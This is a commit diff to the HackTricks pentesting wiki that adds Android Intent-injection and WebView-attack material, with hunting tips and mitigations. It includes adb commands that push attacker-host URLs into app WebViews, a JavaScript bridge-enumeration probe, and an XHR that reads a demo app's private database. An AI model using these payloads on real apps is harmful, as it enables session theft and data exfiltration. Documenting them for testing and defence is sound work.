mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
This commit is contained in:
parent
13f2a46a65
commit
9d53a9200b
@ -2,9 +2,67 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Take a look to: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are:
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
- Passing crafted extras to exported Activities/Services/BroadcastReceivers that are later forwarded to privileged, non-exported components.
|
||||
- Triggering exported VIEW/BROWSABLE deep links that forward attacker-controlled URLs into internal WebViews or other sensitive sinks.
|
||||
|
||||
## Deep links → WebView sink (URL parameter injection)
|
||||
|
||||
If an app exposes a custom scheme deep link such as:
|
||||
|
||||
```text
|
||||
myscheme://com.example.app/web?url=<attacker_url>
|
||||
```
|
||||
|
||||
and the receiving Activity forwards the `url` query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context.
|
||||
|
||||
PoC via adb:
|
||||
|
||||
```bash
|
||||
# Implicit VIEW intent
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
|
||||
# Or explicitly target an Activity
|
||||
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
|
||||
Impact
|
||||
- HTML/JS executes inside the app’s WebView profile.
|
||||
- If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed `@JavascriptInterface` objects, steal WebView cookies/local storage, and pivot.
|
||||
|
||||
See also:
|
||||
|
||||
{{#ref}}
|
||||
webview-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## Order-of-checks bug enabling JavaScript
|
||||
|
||||
A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.
|
||||
|
||||
What to look for in decompiled code:
|
||||
- Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
|
||||
- Calls to `getSettings().setJavaScriptEnabled(true)` before the last host/path allowlist check.
|
||||
- A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.
|
||||
|
||||
Mitigations
|
||||
- Canonicalize once and validate strictly; fail closed.
|
||||
- Only enable JavaScript after all checks pass and just before loading trusted content.
|
||||
- Avoid exposing bridges to untrusted origins.
|
||||
|
||||
## Other classic Intent injection primitives
|
||||
|
||||
- startActivity/sendBroadcast using attacker-supplied `Intent` extras that are later re-parsed (`Intent.parseUri(...)`) and executed.
|
||||
- Exported proxy components that forward Intents to non-exported sensitive components without permission checks.
|
||||
|
||||
## References
|
||||
|
||||
- [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||||
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
|
||||
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
|
||||
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -136,15 +136,264 @@ xhr.open(
|
||||
xhr.send(null)
|
||||
```
|
||||
|
||||
# Webview Attacks
|
||||
|
||||
|
||||
|
||||
## Guide on WebView Configurations and Security
|
||||
|
||||
### Overview of WebView Vulnerabilities
|
||||
|
||||
A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.
|
||||
|
||||
.png>)
|
||||
|
||||
### **File Access in WebViews**
|
||||
|
||||
By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ_EXTERNAL_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
|
||||
|
||||
#### **Deprecated Features: Universal and File Access From URLs**
|
||||
|
||||
- **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
|
||||
- To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
|
||||
- To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
- **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
|
||||
- Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
|
||||
|
||||
#### **Secure File Loading**
|
||||
|
||||
For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.
|
||||
|
||||
- Check with `getAllowFileAccess()`.
|
||||
- Enable or disable with `setAllowFileAccess(boolean)`.
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.
|
||||
|
||||
### loadUrl
|
||||
|
||||
This is a common function used to load arbitrary URLs in a webviwe:
|
||||
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
|
||||
Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.
|
||||
|
||||
### Deep-linking into internal WebView (custom scheme → WebView sink)
|
||||
|
||||
Many apps register custom schemes/paths that route a user-supplied URL into an in-app WebView. If the deep link is exported (VIEW + BROWSABLE), an attacker can force the app to render arbitrary remote content inside its WebView context.
|
||||
|
||||
Typical manifest pattern (simplified):
|
||||
|
||||
```xml
|
||||
<activity android:name=".MainActivity" android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<category android:name="android.intent.category.BROWSABLE" />
|
||||
<data android:scheme="myscheme" android:host="com.example.app" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
Common code flow (simplified):
|
||||
|
||||
```java
|
||||
// Entry activity
|
||||
@Override
|
||||
protected void onNewIntent(Intent intent) {
|
||||
Uri deeplink = intent.getData();
|
||||
String url = deeplink.getQueryParameter("url"); // attacker-controlled
|
||||
if (deeplink.getPathSegments().get(0).equals("web")) {
|
||||
Intent i = new Intent(this, WebActivity.class);
|
||||
i.putExtra("url", url);
|
||||
startActivity(i);
|
||||
}
|
||||
}
|
||||
|
||||
// WebActivity sink
|
||||
webView.loadUrl(getIntent().getStringExtra("url"));
|
||||
```
|
||||
|
||||
Attack pattern and PoC via adb:
|
||||
|
||||
```bash
|
||||
# Template – force load in internal WebView
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
|
||||
# If a specific Activity must be targeted
|
||||
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
|
||||
Impact: the remote page runs in the app WebView context (cookies/session of the app WebView profile, access to any exposed @JavascriptInterface, potential access to content:// and file:// depending on settings).
|
||||
|
||||
Hunting tips:
|
||||
- Grep decompiled sources for `getQueryParameter("url")`, `loadUrl(`, `WebView` sinks, and deep-link handlers (`onCreate/onNewIntent`).
|
||||
- Review the manifest for VIEW+BROWSABLE filters and custom schemes/hosts that map to activities that later start a WebView.
|
||||
- Check if there are multiple deep-link paths (e.g., an “external browser” path vs. an “internal webview” path) and prefer the one that renders inside the app.
|
||||
|
||||
### Enabling JavaScript before verification (order-of-checks bug)
|
||||
|
||||
A frequent hardening mistake is enabling JavaScript or configuring relaxed WebView settings before the final allowlist/verification of the target URL completes. If the verification is inconsistent across helpers or happens too late, an attacker deep link can reach a state where:
|
||||
|
||||
1) WebView settings apply (e.g., `setJavaScriptEnabled(true)`), and
|
||||
2) The untrusted URL is loaded with JavaScript enabled.
|
||||
|
||||
Bug pattern (pseudocode):
|
||||
|
||||
```java
|
||||
// 1) Parse/early checks
|
||||
Uri u = parse(intent);
|
||||
if (!looksValid(u)) return;
|
||||
|
||||
// 2) Configure WebView BEFORE final checks
|
||||
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
|
||||
configureMixedContent();
|
||||
|
||||
// 3) Do final verification (late)
|
||||
if (!finalAllowlist(u)) return; // too late – JS already enabled
|
||||
|
||||
// 4) Load
|
||||
webView.loadUrl(u.toString());
|
||||
```
|
||||
|
||||
Why it’s exploitable
|
||||
- Inconsistent normalization: helpers split/rebuild the URL differently than the final check, creating mismatches a malicious URL can exploit.
|
||||
- Misordered pipeline: enabling JS in step 2 applies globally to the WebView instance, affecting the final load even if verification would later fail.
|
||||
|
||||
How to test
|
||||
- Craft deep-link payloads that pass early checks and reach the WebView configuration site.
|
||||
- Use adb to fire implicit VIEW intents delivering a `url=` parameter controlled by you:
|
||||
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
|
||||
If exploitation succeeds, your payload executes JavaScript in the app’s WebView. From there, probe for exposed bridges:
|
||||
|
||||
```html
|
||||
<script>
|
||||
for (let k in window) {
|
||||
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
Defensive guidance
|
||||
- Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query).
|
||||
- Only call `setJavaScriptEnabled(true)` after all allowlist checks pass and just before loading trusted content.
|
||||
- Avoid exposing `@JavascriptInterface` to untrusted origins; prefer per-origin gating.
|
||||
- Consider per-WebView instances for trusted vs untrusted content, with JS disabled by default.
|
||||
|
||||
### **JavaScript and Intent Scheme Handling**
|
||||
|
||||
- **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
|
||||
- **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support_url" that could be exploited to execute cross-site scripting (XSS) attacks.
|
||||
|
||||
.png>)
|
||||
|
||||
Exploitation example using adb:
|
||||
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
|
||||
### Javascript Bridge
|
||||
|
||||
A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.
|
||||
|
||||
- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
|
||||
|
||||
#### Implementing a JavaScript Bridge
|
||||
|
||||
- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
|
||||
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
```
|
||||
|
||||
- JavaScript Bridge is enabled by adding an interface to the WebView:
|
||||
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
|
||||
webView.reload()
|
||||
```
|
||||
|
||||
- Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
|
||||
|
||||
```html
|
||||
<script>
|
||||
alert(javascriptBridge.getSecret())
|
||||
</script>
|
||||
```
|
||||
|
||||
- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
|
||||
|
||||
### Reflection-based Remote Code Execution (RCE)
|
||||
|
||||
- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
|
||||
|
||||
### Remote Debugging
|
||||
|
||||
- **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
|
||||
|
||||
#### Enabling Remote Debugging
|
||||
|
||||
- Remote debugging can be enabled for all WebViews within an application by:
|
||||
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
|
||||
- To conditionally enable debugging based on the application's debuggable state:
|
||||
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
}
|
||||
```
|
||||
|
||||
## Exfiltrate arbitrary files
|
||||
|
||||
- Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest()
|
||||
xhr.onreadystatechange = function () {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
alert(xhr.responseText)
|
||||
}
|
||||
}
|
||||
xhr.open(
|
||||
"GET",
|
||||
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
|
||||
true
|
||||
)
|
||||
xhr.send(null)
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
- [WheresMyBrowser.Android (demo app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
- [Android WebView reference](https://developer.android.com/reference/android/webkit/WebView)
|
||||
- [Deep Links & WebViews Exploitations – Part II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
- [Deep Links & WebViews Exploitations – Part I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
|
||||
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
|
||||
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user